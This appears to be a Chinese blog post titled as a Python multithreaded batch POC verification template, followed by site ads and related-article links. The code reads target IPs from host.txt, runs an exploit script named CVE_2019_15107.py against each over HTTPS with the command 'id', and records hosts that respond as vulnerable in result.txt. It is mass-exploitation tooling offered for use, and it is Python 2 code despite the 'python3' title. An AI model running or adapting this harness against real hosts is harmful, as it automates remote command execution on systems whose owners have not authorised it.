python3 多线程批量验证POC模板
#coding:utf-8 import threading,Queue,sys,os class RedisUN(threading.Thread): def __init__(self,queue): threading.Thread.__init__(self) self._queue = queue def run(self): while True: if self._queue.empty(): break try: ########################## 代码放入这################################## var = "success" #成功的标识,在CVE_2019_15107.py 成功的判断里增加 print("success") url = 'https://'+ self._queue.get(timeout=0.5) print(url) r=os.popen('python CVE_2019_15107.py'+ " "+url+" "+"id") #调用的exp text = r.read()#获取cmd打印的结果 if text == var:#当cmd输出结果出现success表示有漏洞,将结果存为result.txt print(text) f = open('result.txt','a+') #保存成功的结果 f.write(url + " "+text+"\n") ##################################################################### except: continue def main(): thread_count = 10 #线程数 threads = [] queue = Queue.Queue() f = open("host.txt",'r') #读取txt里的ip sourceInLines = f.readlines() f.close() new = [] for line in sourceInLines: temp1 = line.strip('\n') queue.put(temp1) for i in xrange(thread_count): threads.append(RedisUN(queue)) for t in threads: t.start() for t in threads: t.join() if __name__ == '__main__': f1 = open('result.txt','w') f1.close() main()
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异
· 三行代码完成国际化适配,妙~啊~